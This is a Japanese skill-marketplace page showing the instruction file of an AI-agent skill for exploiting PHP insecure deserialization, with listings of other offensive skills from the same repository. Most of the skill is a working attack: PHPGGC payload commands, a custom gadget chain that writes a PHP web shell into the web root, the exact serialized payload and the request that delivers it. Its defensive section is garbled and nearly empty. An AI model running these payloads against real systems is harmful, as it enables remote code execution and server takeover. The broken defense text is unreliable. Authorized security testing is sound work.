本文へ移動
cccskills
無料GitHub で公開

php-deserialization-rce

Exploit PHP object serialization vulnerabilities (Insecure Deserialization). This skill details how to identify unserialize() injection points and construct malicious serialized objects using Property Oriented Programming (POP) chains to achieve Remote Code Execution (RCE).

インストール方法を見る

含まれるファイル(3)

  • SKILL.md5.1 KB
  • evals/evals.json532 B
  • scripts/process.py7.8 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

PHP Deserialization to RCE

When to Use

  • During a web application assessment where user-supplied input is passed to PHP's unserialize() function.
  • Often found in base64-encoded or URL-encoded cookies, hidden form fields, or API endpoints handling legacy architecture.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying the Sink

Look for patterns indicating serialized PHP objects Prefixes like O:4:"User":2:{...}

  • Search source code for unserialize($_GET['data']) or unserialize(base64_decode($_COOKIE['session']))
// Vulnerable Code Example $input = $_GET['payload'];
$obj = unserialize($input); // DANGER

Phase 2: Utilizing PHPGGC (PHP Generic Gadget Chains)

If the target is using known frameworks/libraries (e.g., Laravel, Symfony, Monolog, SwiftMailer), you can generate a POP chain payload automatically.

# phpggc -l # List available gadget chains

# Generate a payload for Laravel/RCE1 to execute 'id' phpggc Laravel/RCE1 system 'id' --base64

Phase 3: Writing a Custom Gadget Chain

If standard framework gadgets aren't available, you must review the source code for class definitions containing "Magic Methods" (e.g., __wakeup(), __destruct(), __toString()).

# class Logger {
    public $logFile;
    public $initMsg;

    public function __destruct() {
        file_put_contents($this->logFile, $this->initMsg);
    }
}

// Crafting the payload $payload = new Logger();
$payload->logFile = "/var/www/html/shell.php";
$payload->initMsg = "<?php system($_GET['cmd']); ?>";
echo serialize($payload);
// Output: O:6:"Logger":2:{s:7:"logFile";s:23:"/var/www/html/shell.php";s:7:"initMsg";s:30:"<?php system($_GET['cmd']); ?>";}

Phase 4: Executing the Attack

Submit the serialized payload (URL-encoded or Base64-encoded if necessary) to the vulnerable endpoint.

# GET /vulnerable.php?payload=O:6:"Logger":2:{s:7:"logFile";s:23:"/var/www/html/shell.php";s:7:"initMsg";s:30:"<?php system($_GET['cmd']); ?>";} HTTP/1.1
Host: target.app

Access shell.php?cmd=id.

Decision Point 🔀

flowchart TD
    A[Identify unserialize() Sink ] --> B{Dependencies Known? ]}
    B -->|Yes| C[Generate PHPGGC Payload ]
    B -->|No| D[Audit Source for Magic Methods ]
    C --> E[Inject and Execute ]
    D --> E

🔵 Blue Team Detection & Defense

  • Avoid unserialize() on untrusted data: Use JSON Encoding: WAF Rules against Gadget Payloads: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Php Deserialization Rce — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

ShulkwiSEC のスキルをすべて見る

このスキルの問題を報告する